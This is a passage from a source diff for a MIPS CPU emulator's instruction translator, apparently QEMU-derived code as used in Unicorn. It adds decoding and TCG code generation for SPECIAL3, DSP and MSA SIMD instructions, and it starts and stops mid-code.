rs, rt, 0); + break; + default: /* Invalid */ + MIPS_INVAL("MASK EXTR.W"); + generate_exception(ctx, EXCP_RI); + break; + } + break; +#if defined(TARGET_MIPS64) + case OPC_DDIV_G_2E: case OPC_DDIVU_G_2E: + case OPC_DMULT_G_2E: case OPC_DMULTU_G_2E: + case OPC_DMOD_G_2E: case OPC_DMODU_G_2E: + check_insn(ctx, INSN_LOONGSON2E); + gen_loongson_integer(ctx, op1, rd, rs, rt); + break; + case OPC_ABSQ_S_QH_DSP: + op2 = MASK_ABSQ_S_QH(ctx->opcode); + switch (op2) { + case OPC_PRECEQ_L_PWL: + case OPC_PRECEQ_L_PWR: + case OPC_PRECEQ_PW_QHL: + case OPC_PRECEQ_PW_QHR: + case OPC_PRECEQ_PW_QHLA: + case OPC_PRECEQ_PW_QHRA: + case OPC_PRECEQU_QH_OBL: + case OPC_PRECEQU_QH_OBR: + case OPC_PRECEQU_QH_OBLA: + case OPC_PRECEQU_QH_OBRA: + case OPC_PRECEU_QH_OBL: + case OPC_PRECEU_QH_OBR: + case OPC_PRECEU_QH_OBLA: + case OPC_PRECEU_QH_OBRA: + case OPC_ABSQ_S_OB: + case OPC_ABSQ_S_PW: + case OPC_ABSQ_S_QH: + gen_mipsdsp_arith(ctx, op1, op2, rd, rs, rt); + break; + case OPC_REPL_OB: + case OPC_REPL_PW: + case OPC_REPL_QH: + case OPC_REPLV_OB: + case OPC_REPLV_PW: + case OPC_REPLV_QH: + gen_mipsdsp_bitinsn(ctx, op1, op2, rd, rt); + break; + default: /* Invalid */ + MIPS_INVAL("MASK ABSQ_S.QH"); + generate_exception(ctx, EXCP_RI); + break; + } + break; + case OPC_ADDU_OB_DSP: + op2 = MASK_ADDU_OB(ctx->opcode); + switch (op2) { + case OPC_RADDU_L_OB: + case OPC_SUBQ_PW: + case OPC_SUBQ_S_PW: + case OPC_SUBQ_QH: + case OPC_SUBQ_S_QH: + case OPC_SUBU_OB: + case OPC_SUBU_S_OB: + case OPC_SUBU_QH: + case OPC_SUBU_S_QH: + case OPC_SUBUH_OB: + case OPC_SUBUH_R_OB: + case OPC_ADDQ_PW: + case OPC_ADDQ_S_PW: + case OPC_ADDQ_QH: + case OPC_ADDQ_S_QH: + case OPC_ADDU_OB: + case OPC_ADDU_S_OB: + case OPC_ADDU_QH: + case OPC_ADDU_S_QH: + case OPC_ADDUH_OB: + case OPC_ADDUH_R_OB: + gen_mipsdsp_arith(ctx, op1, op2, rd, rs, rt); + break; + case OPC_MULEQ_S_PW_QHL: + case OPC_MULEQ_S_PW_QHR: + case OPC_MULEU_S_QH_OBL: + case OPC_MULEU_S_QH_OBR: + case OPC_MULQ_RS_QH: + gen_mipsdsp_multiply(ctx, op1, op2, rd, rs, rt, 1); + break; + default: /* Invalid */ + MIPS_INVAL("MASK ADDU.OB"); + generate_exception(ctx, EXCP_RI); + break; + } + break; + case OPC_CMPU_EQ_OB_DSP: + op2 = MASK_CMPU_EQ_OB(ctx->opcode); + switch (op2) { + case OPC_PRECR_SRA_QH_PW: + case OPC_PRECR_SRA_R_QH_PW: + /* Return value is rt. */ + gen_mipsdsp_arith(ctx, op1, op2, rt, rs, rd); + break; + case OPC_PRECR_OB_QH: + case OPC_PRECRQ_OB_QH: + case OPC_PRECRQ_PW_L: + case OPC_PRECRQ_QH_PW: + case OPC_PRECRQ_RS_QH_PW: + case OPC_PRECRQU_S_OB_QH: + gen_mipsdsp_arith(ctx, op1, op2, rd, rs, rt); + break; + case OPC_CMPU_EQ_OB: + case OPC_CMPU_LT_OB: + case OPC_CMPU_LE_OB: + case OPC_CMP_EQ_QH: + case OPC_CMP_LT_QH: + case OPC_CMP_LE_QH: + case OPC_CMP_EQ_PW: + case OPC_CMP_LT_PW: + case OPC_CMP_LE_PW: + gen_mipsdsp_add_cmp_pick(ctx, op1, op2, rd, rs, rt, 0); + break; + case OPC_CMPGDU_EQ_OB: + case OPC_CMPGDU_LT_OB: + case OPC_CMPGDU_LE_OB: + case OPC_CMPGU_EQ_OB: + case OPC_CMPGU_LT_OB: + case OPC_CMPGU_LE_OB: + case OPC_PACKRL_PW: + case OPC_PICK_OB: + case OPC_PICK_PW: + case OPC_PICK_QH: + gen_mipsdsp_add_cmp_pick(ctx, op1, op2, rd, rs, rt, 1); + break; + default: /* Invalid */ + MIPS_INVAL("MASK CMPU_EQ.OB"); + generate_exception(ctx, EXCP_RI); + break; + } + break; + case OPC_DAPPEND_DSP: + gen_mipsdsp_append(env, ctx, op1, rt, rs, rd); + break; + case OPC_DEXTR_W_DSP: + op2 = MASK_DEXTR_W(ctx->opcode); + switch (op2) { + case OPC_DEXTP: + case OPC_DEXTPDP: + case OPC_DEXTPDPV: + case OPC_DEXTPV: + case OPC_DEXTR_L: + case OPC_DEXTR_R_L: + case OPC_DEXTR_RS_L: + case OPC_DEXTR_W: + case OPC_DEXTR_R_W: + case OPC_DEXTR_RS_W: + case OPC_DEXTR_S_H: + case OPC_DEXTRV_L: + case OPC_DEXTRV_R_L: + case OPC_DEXTRV_RS_L: + case OPC_DEXTRV_S_H: + case OPC_DEXTRV_W: + case OPC_DEXTRV_R_W: + case OPC_DEXTRV_RS_W: + gen_mipsdsp_accinsn(ctx, op1, op2, rt, rs, rd, 1); + break; + case OPC_DMTHLIP: + case OPC_DSHILO: + case OPC_DSHILOV: + gen_mipsdsp_accinsn(ctx, op1, op2, rd, rs, rt, 0); + break; + default: /* Invalid */ + MIPS_INVAL("MASK EXTR.W"); + generate_exception(ctx, EXCP_RI); + break; + } + break; + case OPC_DPAQ_W_QH_DSP: + op2 = MASK_DPAQ_W_QH(ctx->opcode); + switch (op2) { + case OPC_DPAU_H_OBL: + case OPC_DPAU_H_OBR: + case OPC_DPSU_H_OBL: + case OPC_DPSU_H_OBR: + case OPC_DPA_W_QH: + case OPC_DPAQ_S_W_QH: + case OPC_DPS_W_QH: + case OPC_DPSQ_S_W_QH: + case OPC_MULSAQ_S_W_QH: + case OPC_DPAQ_SA_L_PW: + case OPC_DPSQ_SA_L_PW: + case OPC_MULSAQ_S_L_PW: + gen_mipsdsp_multiply(ctx, op1, op2, rd, rs, rt, 0); + break; + case OPC_MAQ_S_W_QHLL: + case OPC_MAQ_S_W_QHLR: + case OPC_MAQ_S_W_QHRL: + case OPC_MAQ_S_W_QHRR: + case OPC_MAQ_SA_W_QHLL: + case OPC_MAQ_SA_W_QHLR: + case OPC_MAQ_SA_W_QHRL: + case OPC_MAQ_SA_W_QHRR: + case OPC_MAQ_S_L_PWL: + case OPC_MAQ_S_L_PWR: + case OPC_DMADD: + case OPC_DMADDU: + case OPC_DMSUB: + case OPC_DMSUBU: + gen_mipsdsp_multiply(ctx, op1, op2, rd, rs, rt, 0); + break; + default: /* Invalid */ + MIPS_INVAL("MASK DPAQ.W.QH"); + generate_exception(ctx, EXCP_RI); + break; + } + break; + case OPC_DINSV_DSP: + op2 = MASK_INSV(ctx->opcode); + switch (op2) { + case OPC_DINSV: + { + TCGv t0, t1; + + if (rt == 0) { + MIPS_DEBUG("NOP"); + break; + } + check_dsp(ctx); + + t0 = tcg_temp_new(tcg_ctx); + t1 = tcg_temp_new(tcg_ctx); + + gen_load_gpr(ctx, t0, rt); + gen_load_gpr(ctx, t1, rs); + + gen_helper_dinsv(tcg_ctx, *cpu_gpr[rt], tcg_ctx->cpu_env, t1, t0); + + tcg_temp_free(tcg_ctx, t0); + tcg_temp_free(tcg_ctx, t1); + break; + } + default: /* Invalid */ + MIPS_INVAL("MASK DINSV"); + generate_exception(ctx, EXCP_RI); + break; + } + break; + case OPC_SHLL_OB_DSP: + gen_mipsdsp_shift(ctx, op1, rd, rs, rt); + break; +#endif + default: /* Invalid */ + MIPS_INVAL("special3_legacy"); + generate_exception(ctx, EXCP_RI); + break; + } +} + +static void decode_opc_special3(CPUMIPSState *env, DisasContext *ctx) +{ + TCGContext *tcg_ctx = env->uc->tcg_ctx; + int rs, rt, rd, sa; + uint32_t op1, op2; + + rs = (ctx->opcode >> 21) & 0x1f; + rt = (ctx->opcode >> 16) & 0x1f; + rd = (ctx->opcode >> 11) & 0x1f; + sa = (ctx->opcode >> 6) & 0x1f; + + op1 = MASK_SPECIAL3(ctx->opcode); + switch (op1) { + case OPC_EXT: + case OPC_INS: + check_insn(ctx, ISA_MIPS32R2); + gen_bitops(ctx, op1, rt, rs, sa, rd); + break; + case OPC_BSHFL: + op2 = MASK_BSHFL(ctx->opcode); + switch (op2) { + case OPC_ALIGN: case OPC_ALIGN_END: + case OPC_BITSWAP: + check_insn(ctx, ISA_MIPS32R6); + decode_opc_special3_r6(env, ctx); + break; + default: + check_insn(ctx, ISA_MIPS32R2); + gen_bshfl(ctx, op2, rt, rd); + break; + } + break; +#if defined(TARGET_MIPS64) + case OPC_DEXTM: case OPC_DEXTU: case OPC_DEXT: + case OPC_DINSM: case OPC_DINSU: case OPC_DINS: + check_insn(ctx, ISA_MIPS64R2); + check_mips_64(ctx); + gen_bitops(ctx, op1, rt, rs, sa, rd); + break; + case OPC_DBSHFL: + op2 = MASK_DBSHFL(ctx->opcode); + switch (op2) { + case OPC_DALIGN: case OPC_DALIGN_END: + case OPC_DBITSWAP: + check_insn(ctx, ISA_MIPS32R6); + decode_opc_special3_r6(env, ctx); + break; + default: + check_insn(ctx, ISA_MIPS64R2); + check_mips_64(ctx); + op2 = MASK_DBSHFL(ctx->opcode); + gen_bshfl(ctx, op2, rt, rd); + break; + } + break; +#endif + case OPC_RDHWR: + gen_rdhwr(ctx, rt, rd); + break; + case OPC_FORK: + check_insn(ctx, ASE_MT); + { + TCGv t0 = tcg_temp_new(tcg_ctx); + TCGv t1 = tcg_temp_new(tcg_ctx); + + gen_load_gpr(ctx, t0, rt); + gen_load_gpr(ctx, t1, rs); + gen_helper_fork(tcg_ctx, t0, t1); + tcg_temp_free(tcg_ctx, t0); + tcg_temp_free(tcg_ctx, t1); + } + break; + case OPC_YIELD: + check_insn(ctx, ASE_MT); + { + TCGv t0 = tcg_temp_new(tcg_ctx); + + save_cpu_state(ctx, 1); + gen_load_gpr(ctx, t0, rs); + gen_helper_yield(tcg_ctx, t0, tcg_ctx->cpu_env, t0); + gen_store_gpr(tcg_ctx, t0, rd); + tcg_temp_free(tcg_ctx, t0); + } + break; + default: + if (ctx->insn_flags & ISA_MIPS32R6) { + decode_opc_special3_r6(env, ctx); + } else { + decode_opc_special3_legacy(env, ctx); + } + } +} + +/* MIPS SIMD Architecture (MSA) */ +static inline int check_msa_access(DisasContext *ctx) +{ + if (unlikely((ctx->hflags & MIPS_HFLAG_FPU) && + !(ctx->hflags & MIPS_HFLAG_F64))) { + generate_exception(ctx, EXCP_RI); + return 0; + } + + if (unlikely(!(ctx->hflags & MIPS_HFLAG_MSA))) { + if (ctx->insn_flags & ASE_MSA) { + generate_exception(ctx, EXCP_MSADIS); + return 0; + } else { + generate_exception(ctx, EXCP_RI); + return 0; + } + } + return 1; +} + +static void gen_check_zero_element(CPUMIPSState *env, TCGv tresult, uint8_t df, uint8_t wt) +{ + TCGContext *tcg_ctx = env->uc->tcg_ctx; + /* generates tcg ops to check if any element is 0 */ + /* Note this function only works with MSA_WRLEN = 128 */ + uint64_t eval_zero_or_big = 0; + uint64_t eval_big = 0; + TCGv_i64 t0 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 t1 = tcg_temp_new_i64(tcg_ctx); + switch (df) { + case DF_BYTE: + eval_zero_or_big = 0x0101010101010101ULL; + eval_big = 0x8080808080808080ULL; + break; + case DF_HALF: + eval_zero_or_big = 0x0001000100010001ULL; + eval_big = 0x8000800080008000ULL; + break; + case DF_WORD: + eval_zero_or_big = 0x0000000100000001ULL; + eval_big = 0x8000000080000000ULL; + break; + case DF_DOUBLE: + eval_zero_or_big = 0x0000000000000001ULL; + eval_big = 0x8000000000000000ULL; + break; + } + tcg_gen_subi_i64(tcg_ctx, t0, tcg_ctx->msa_wr_d[wt<<1], eval_zero_or_big); + tcg_gen_andc_i64(tcg_ctx, t0, t0, tcg_ctx->msa_wr_d[wt<<1]); + tcg_gen_andi_i64(tcg_ctx, t0, t0, eval_big); + tcg_gen_subi_i64(tcg_ctx, t1, tcg_ctx->msa_wr_d[(wt<<1)+1], eval_zero_or_big); + tcg_gen_andc_i64(tcg_ctx, t1, t1, tcg_ctx->msa_wr_d[(wt<<1)+1]); + tcg_gen_andi_i64(tcg_ctx, t1, t1, eval_big); + tcg_gen_or_i64(tcg_ctx, t0, t0, t1); + /* if all bits are zero then all elements are not zero */ + /* if some bit is non-zero then some element is zero */ + tcg_gen_setcondi_i64(tcg_ctx, TCG_COND_NE, t0, t0, 0); + tcg_gen_trunc_i64_tl(tcg_ctx, tresult, t0); + tcg_temp_free_i64(tcg_ctx, t0); + tcg_temp_free_i64(tcg_ctx, t1); +} + +static void gen_msa_branch(CPUMIPSState *env, DisasContext *ctx, uint32_t op1) +{ + TCGContext *tcg_ctx = env->uc->tcg_ctx; + uint8_t df = (ctx->opcode >> 21) & 0x3; + uint8_t wt = (ctx->opcode >> 16) & 0x1f; + int64_t s16 = (int16_t)ctx->opcode; + + check_msa_access(ctx); + + if (ctx->insn_flags & ISA_MIPS32R6 && ctx->hflags & MIPS_HFLAG_BMASK) { + MIPS_DEBUG("CTI in delay / forbidden slot"); + generate_exception(ctx, EXCP_RI); + return; + } + switch (op1) { + case OPC_BZ_V: + case OPC_BNZ_V: + { + TCGv_i64 t0 = tcg_temp_new_i64(tcg_ctx); + tcg_gen_or_i64(tcg_ctx, t0, tcg_ctx->msa_wr_d[wt<<1], tcg_ctx->msa_wr_d[(wt<<1)+1]); + tcg_gen_setcondi_i64(tcg_ctx, (op1 == OPC_BZ_V) ? + TCG_COND_EQ : TCG_COND_NE, t0, t0, 0); + tcg_gen_trunc_i64_tl(tcg_ctx, *(TCGv *)tcg_ctx->bcond, t0); + tcg_temp_free_i64(tcg_ctx, t0); + } + break; + case OPC_BZ_B: + case OPC_BZ_H: + case OPC_BZ_W: + case OPC_BZ_D: + gen_check_zero_element(env, *(TCGv *)tcg_ctx->bcond, df, wt); + break; + case OPC_BNZ_B: + case OPC_BNZ_H: + case OPC_BNZ_W: + case OPC_BNZ_D: + gen_check_zero_element(env, *(TCGv *)tcg_ctx->bcond, df, wt); + tcg_gen_setcondi_tl(tcg_ctx, TCG_COND_EQ, *(TCGv *)tcg_ctx->bcond, *(TCGv *)tcg_ctx->bcond, 0); + break; + } + + ctx->btarget = ctx->pc + (int64_t)((uint64_t)s16 << 2) + 4; + + ctx->hflags |= MIPS_HFLAG_BC; + ctx->hflags |= MIPS_HFLAG_BDS32; +} + +static void gen_msa_i8(CPUMIPSState *env, DisasContext *ctx) +{ +#define MASK_MSA_I8(op) (MASK_MSA_MINOR(op) | (op & (0x03 << 24))) + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + uint8_t i8 = (ctx->opcode >> 16) & 0xff; + uint8_t ws = (ctx->opcode >> 11) & 0x1f; + uint8_t wd = (ctx->opcode >> 6) & 0x1f; + + TCGv_i32 twd = tcg_const_i32(tcg_ctx, wd); + TCGv_i32 tws = tcg_const_i32(tcg_ctx, ws); + TCGv_i32 ti8 = tcg_const_i32(tcg_ctx, i8); + + switch (MASK_MSA_I8(ctx->opcode)) { + case OPC_ANDI_B: + gen_helper_msa_andi_b(tcg_ctx, tcg_ctx->cpu_env, twd, tws, ti8); + break; + case OPC_ORI_B: + gen_helper_msa_ori_b(tcg_ctx, tcg_ctx->cpu_env, twd, tws, ti8); + break; + case OPC_NORI_B: + gen_helper_msa_nori_b(tcg_ctx, tcg_ctx->cpu_env, twd, tws, ti8); + break; + case OPC_XORI_B: + gen_helper_msa_xori_b(tcg_ctx, tcg_ctx->cpu_env, twd, tws, ti8); + break; + case OPC_BMNZI_B: + gen_helper_msa_bmnzi_b(tcg_ctx, tcg_ctx->cpu_env, twd, tws, ti8); + break; + case OPC_BMZI_B: + gen_helper_msa_bmzi_b(tcg_ctx, tcg_ctx->cpu_env, twd, tws, ti8); + break; + case OPC_BSELI_B: + gen_helper_msa_bseli_b(tcg_ctx, tcg_ctx->cpu_env, twd, tws, ti8); + break; + case OPC_SHF_B: + case OPC_SHF_H: + case OPC_SHF_W: + { + uint8_t df = (ctx->opcode >> 24) & 0x3; + if (df == DF_DOUBLE) { + generate_exception(ctx, EXCP_RI); + } else { + TCGv_i32 tdf = tcg_const_i32(tcg_ctx, df); + gen_helper_msa_shf_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, ti8); + tcg_temp_free_i32(tcg_ctx, tdf); + } + } + break; + default: + MIPS_INVAL("MSA instruction"); + generate_exception(ctx, EXCP_RI); + break; + } + + tcg_temp_free_i32(tcg_ctx, twd); + tcg_temp_free_i32(tcg_ctx, tws); + tcg_temp_free_i32(tcg_ctx, ti8); +} + +static void gen_msa_i5(CPUMIPSState *env, DisasContext *ctx) +{ +#define MASK_MSA_I5(op) (MASK_MSA_MINOR(op) | (op & (0x7 << 23))) + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + uint8_t df = (ctx->opcode >> 21) & 0x3; + int8_t s5 = (int8_t) sextract32(ctx->opcode, 16, 5); + uint8_t u5 = (ctx->opcode >> 16) & 0x1f; + uint8_t ws = (ctx->opcode >> 11) & 0x1f; + uint8_t wd = (ctx->opcode >> 6) & 0x1f; + + TCGv_i32 tdf = tcg_const_i32(tcg_ctx, df); + TCGv_i32 twd = tcg_const_i32(tcg_ctx, wd); + TCGv_i32 tws = tcg_const_i32(tcg_ctx, ws); + TCGv_i32 timm = tcg_temp_new_i32(tcg_ctx); + tcg_gen_movi_i32(tcg_ctx, timm, u5); + + switch (MASK_MSA_I5(ctx->opcode)) { + case OPC_ADDVI_df: + gen_helper_msa_addvi_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, timm); + break; + case OPC_SUBVI_df: + gen_helper_msa_subvi_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, timm); + break; + case OPC_MAXI_S_df: + tcg_gen_movi_i32(tcg_ctx, timm, s5); + gen_helper_msa_maxi_s_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, timm); + break; + case OPC_MAXI_U_df: + gen_helper_msa_maxi_u_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, timm); + break; + case OPC_MINI_S_df: + tcg_gen_movi_i32(tcg_ctx, timm, s5); + gen_helper_msa_mini_s_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, timm); + break; + case OPC_MINI_U_df: + gen_helper_msa_mini_u_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, timm); + break; + case OPC_CEQI_df: + tcg_gen_movi_i32(tcg_ctx, timm, s5); + gen_helper_msa_ceqi_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, timm); + break; + case OPC_CLTI_S_df: + tcg_gen_movi_i32(tcg_ctx, timm, s5); + gen_helper_msa_clti_s_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, timm); + break; + case OPC_CLTI_U_df: + gen_helper_msa_clti_u_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, timm); + break; + case OPC_CLEI_S_df: + tcg_gen_movi_i32(tcg_ctx, timm, s5); + gen_helper_msa_clei_s_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, timm); + break; + case OPC_CLEI_U_df: + gen_helper_msa_clei_u_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, timm); + break; + case OPC_LDI_df: + { + int32_t s10 = sextract32(ctx->opcode, 11, 10); + tcg_gen_movi_i32(tcg_ctx, timm, s10); + gen_helper_msa_ldi_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, timm); + } + break; + default: + MIPS_INVAL("MSA instruction"); + generate_exception(ctx, EXCP_RI); + break; + } + + tcg_temp_free_i32(tcg_ctx, tdf); + tcg_temp_free_i32(tcg_ctx, twd); + tcg_temp_free_i32(tcg_ctx, tws); + tcg_temp_free_i32(tcg_ctx, timm); +} + +static void gen_msa_bit(CPUMIPSState *env, DisasContext *ctx) +{ +#define MASK_MSA_BIT(op) (MASK_MSA_MINOR(op) | (op & (0x7 << 23))) + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + uint8_t dfm = (ctx->opcode >> 16) & 0x7f; + uint32_t df = 0, m = 0; + uint8_t ws = (ctx->opcode >> 11) & 0x1f; + uint8_t wd = (ctx->opcode >> 6) & 0x1f; + + TCGv_i32 tdf; + TCGv_i32 tm; + TCGv_i32 twd; + TCGv_i32 tws; + + if ((dfm & 0x40) == 0x00) { + m = dfm & 0x3f; + df = DF_DOUBLE; + } else if ((dfm & 0x60) == 0x40) { + m = dfm & 0x1f; + df = DF_WORD; + } else if ((dfm & 0x70) == 0x60) { + m = dfm & 0x0f; + df = DF_HALF; + } else if ((dfm & 0x78) == 0x70) { + m = dfm & 0x7; + df = DF_BYTE; + } else { + generate_exception(ctx, EXCP_RI); + return; + } + + tdf = tcg_const_i32(tcg_ctx, df); + tm = tcg_const_i32(tcg_ctx, m); + twd = tcg_const_i32(tcg_ctx, wd); + tws = tcg_const_i32(tcg_ctx, ws); + + switch (MASK_MSA_BIT(ctx->opcode)) { + case OPC_SLLI_df: + gen_helper_msa_slli_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, tm); + break; + case OPC_SRAI_df: + gen_helper_msa_srai_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, tm); + break; + case OPC_SRLI_df: + gen_helper_msa_srli_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, tm); + break; + case OPC_BCLRI_df: + gen_helper_msa_bclri_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, tm); + break; + case OPC_BSETI_df: + gen_helper_msa_bseti_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, tm); + break; + case OPC_BNEGI_df: + gen_helper_msa_bnegi_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, tm); + break; + case OPC_BINSLI_df: + gen_helper_msa_binsli_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, tm); + break; + case OPC_BINSRI_df: + gen_helper_msa_binsri_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, tm); + break; + case OPC_SAT_S_df: + gen_helper_msa_sat_s_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, tm); + break; + case OPC_SAT_U_df: + gen_helper_msa_sat_u_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, tm); + break; + case OPC_SRARI_df: + gen_helper_msa_srari_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, tm); + break; + case OPC_SRLRI_df: + gen_helper_msa_srlri_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, tm); + break; + default: + MIPS_INVAL("MSA instruction"); + generate_exception(ctx, EXCP_RI); + break; + } + + tcg_temp_free_i32(tcg_ctx, tdf); + tcg_temp_free_i32(tcg_ctx, tm); + tcg_temp_free_i32(tcg_ctx, twd); + tcg_temp_free_i32(tcg_ctx, tws); +} + +static void gen_msa_3r(CPUMIPSState *env, DisasContext *ctx) +{ +#define MASK_MSA_3R(op) (MASK_MSA_MINOR(op) | (op & (0x7 << 23))) + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + uint8_t df = (ctx->opcode >> 21) & 0x3; + uint8_t wt = (ctx->opcode >> 16) & 0x1f; + uint8_t ws = (ctx->opcode >> 11) & 0x1f; + uint8_t wd = (ctx->opcode >> 6) & 0x1f; + + TCGv_i32 tdf = tcg_const_i32(tcg_ctx, df); + TCGv_i32 twd = tcg_const_i32(tcg_ctx, wd); + TCGv_i32 tws = tcg_const_i32(tcg_ctx, ws); + TCGv_i32 twt = tcg_const_i32(tcg_ctx, wt); + + switch (MASK_MSA_3R(ctx->opcode)) { + case OPC_SLL_df: + gen_helper_msa_sll_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_ADDV_df: + gen_helper_msa_addv_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_CEQ_df: + gen_helper_msa_ceq_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_ADD_A_df: + gen_helper_msa_add_a_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_SUBS_S_df: + gen_helper_msa_subs_s_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_MULV_df: + gen_helper_msa_mulv_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_SLD_df: + gen_helper_msa_sld_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_VSHF_df: + gen_helper_msa_vshf_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_SRA_df: + gen_helper_msa_sra_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_SUBV_df: + gen_helper_msa_subv_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_ADDS_A_df: + gen_helper_msa_adds_a_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_SUBS_U_df: + gen_helper_msa_subs_u_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_MADDV_df: + gen_helper_msa_maddv_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_SPLAT_df: + gen_helper_msa_splat_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_SRAR_df: + gen_helper_msa_srar_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_SRL_df: + gen_helper_msa_srl_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_MAX_S_df: + gen_helper_msa_max_s_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_CLT_S_df: + gen_helper_msa_clt_s_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_ADDS_S_df: + gen_helper_msa_adds_s_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_SUBSUS_U_df: + gen_helper_msa_subsus_u_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_MSUBV_df: + gen_helper_msa_msubv_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_PCKEV_df: + gen_helper_msa_pckev_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_SRLR_df: + gen_helper_msa_srlr_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_BCLR_df: + gen_helper_msa_bclr_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_MAX_U_df: + gen_helper_msa_max_u_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_CLT_U_df: + gen_helper_msa_clt_u_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_ADDS_U_df: + gen_helper_msa_adds_u_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_SUBSUU_S_df: + gen_helper_msa_subsuu_s_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_PCKOD_df: + gen_helper_msa_pckod_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_BSET_df: + gen_helper_msa_bset_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_MIN_S_df: + gen_helper_msa_min_s_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_CLE_S_df: + gen_helper_msa_cle_s_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_AVE_S_df: + gen_helper_msa_ave_s_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_ASUB_S_df: + gen_helper_msa_asub_s_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_DIV_S_df: + gen_helper_msa_div_s_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_ILVL_df: + gen_helper_msa_ilvl_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_BNEG_df: + gen_helper_msa_bneg_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_MIN_U_df: + gen_helper_msa_min_u_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_CLE_U_df: + gen_helper_msa_cle_u_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_AVE_U_df: + gen_helper_msa_ave_u_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_ASUB_U_df: + gen_helper_msa_asub_u_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_DIV_U_df: + gen_helper_msa_div_u_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_ILVR_df: + gen_helper_msa_ilvr_df(tcg_ctx, tcg_ctx->cpu_env, tdf, twd, tws, twt); + break; + case OPC_BINSL_df: + 